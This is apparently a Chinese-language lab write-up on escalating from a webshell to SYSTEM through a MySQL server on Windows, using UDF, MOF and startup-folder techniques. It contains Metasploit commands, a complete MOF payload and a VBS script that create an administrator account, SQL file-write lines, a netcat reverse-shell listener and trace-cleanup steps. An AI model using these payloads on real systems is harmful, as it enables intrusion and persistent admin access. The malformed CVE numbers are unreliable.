0x00 Mysql提权基础
Mysql
提权主要是需要利用高权限的Mysql
用户进行操作,拿用户主要是下列几种方式
注入上传getshell
查看网站数据库配置信息拿到用户密码弱口令mysql
系统漏洞,比如CVE--2122
身份认证漏洞
这里提权也指的是从网站用户权限提升到数据库软件用户权限,比如数据库软件是普通用户权限运行,提权后就只能到普通用户权限,如果是管理员身份运行,则提权后可以到administrator
或者system
权限。
接下来对常见提权方式做一次总结与学习
提权环境:windows server 、以administrator
身份运行的mysql
,以network service
身份运行的iis
,假设已经拿到了webshell
,但是权限只有network service
的情况。
0x01 UDF提权
具体原理之前已经分析过,详情可见MYSQL UDF提权,这里简单复现一下。
由于已经拿到webshell
,直接上传udf.php
提权脚本
填入对应信息即可
点击Dump UDF
,即可导出udf
文件。
接着创建函数后,就可以执行语句了。
显示提权成功,拿到system
权限
这里还可以使用反弹端口提权,创建新的函数,算是udf
提权的一种新的用法。
创建成功后,可以使用命令反弹cmd
,先在本机使用nc -vvp 12345
接着
执行命令后,可以看到cmd
成功反弹,并验证权限。
0x02 MOF提权
MOF
提权是一个有历史的漏洞,基本上在Windows Server
的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/
目录下的mof
文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个MOF
里面有一部分是VBS
脚本,所以可以利用这个VBS
脚本来调用CMD
来执行系统命令,如果MySQL
有权限操作mof
目录的话,就可以来执行任意命令了。
这里一样直接用现成的msf
中的exp
来打了,注意,如果是用msf
来打需要3306
开启外连。
msf6 > use exploit/windows/mysql/mysql_mofmsf6 exploit(windows/mysql/mysql_mof) > set rhosts 192.168.181.203rhosts => 192.168.181.203msf6 exploit(windows/mysql/mysql_mof) > set username rootusername => rootmsf6 exploit(windows/mysql/mysql_mof) > set password ciscopassword => cisco
exploit
后成功上线,提权成功
如果没有3306
外连的情况,就等自己手动导入mof
文件了。文件内容如下
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test Q!w2e3r4 /add \")\nWSH.run(\"net.exe localgroup administrators test /add \")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
重点就在下面这段代码,可以自由更换命令
接着将这段代码传到网站中,利用mysql
将内容写入到目录中
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/test.mof") into dumpfile "c:/windows/system32/wbem/mof/test.mof";
写好后,一会就创建好用户,并加入到了管理员组,提权成功。
手动需要注意清理痕迹的问题,因为会自动增加用户,需要先暂时关闭winmgmt
服务再删除相关mof
文件,最后再删除用户
# 停止 winmgmt 服务net stop winmgmt# 删除 Repository 文件夹rmdir /s /q C:\Windows\system32\wbem\Repository\# 手动删除 mof 文件del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 删除创建的用户net user test /delete# 重新启动服务net start winmgmt
0x02 启动项提权
当Windows
的启动项可以被MySQL
写入的时候可以使用MySQL
将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。
这个在msf
也有对应的模块可以使用,但是对中文路径支持不是特别好,而且还需要等待用户上线才能反弹shell
,比较麻烦,所以这里就复现手工操作
这里的操作系统是中文的win
,目录为C:/Documents and Settings/Administrator/「开始」菜单/程序/启动/
vbs
执行基础命令如下:
Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "net user test1 Q!w2e3r4 /add", 0WshShell.Run "net localgroup administrators test1 /add", 0
这里尝试过了很多种方法,蚁剑写入失败、大马写入失败,navicat
外连也写入失败
判断结果还是中文路径的问题,但是在本身的cmd
当中,是可以成功写入的。
select load_file("C:/Inetpub/wwwroot/DVWA/hackable/uploads/vbs.txt") into dumpfile "C:\\Documents and Settings\\Administrator\\「开始」菜单/程序\\启动\\test.vbs";
重启后也是能看到新建用户
这个中文一时没想到好的解决方法,而且此漏洞也需要配合重启才能生效,暂时先这样,以后万一真碰到了再想办法解决。
0x03 总结
总体来说,还是感觉udf
提权靠谱好用,除了从web
权限提权到系统权限外,关于数据库本身也有一些提权漏洞,类似CVE--6662
、CVE--6663
、CVE--6664
留待后续再复现。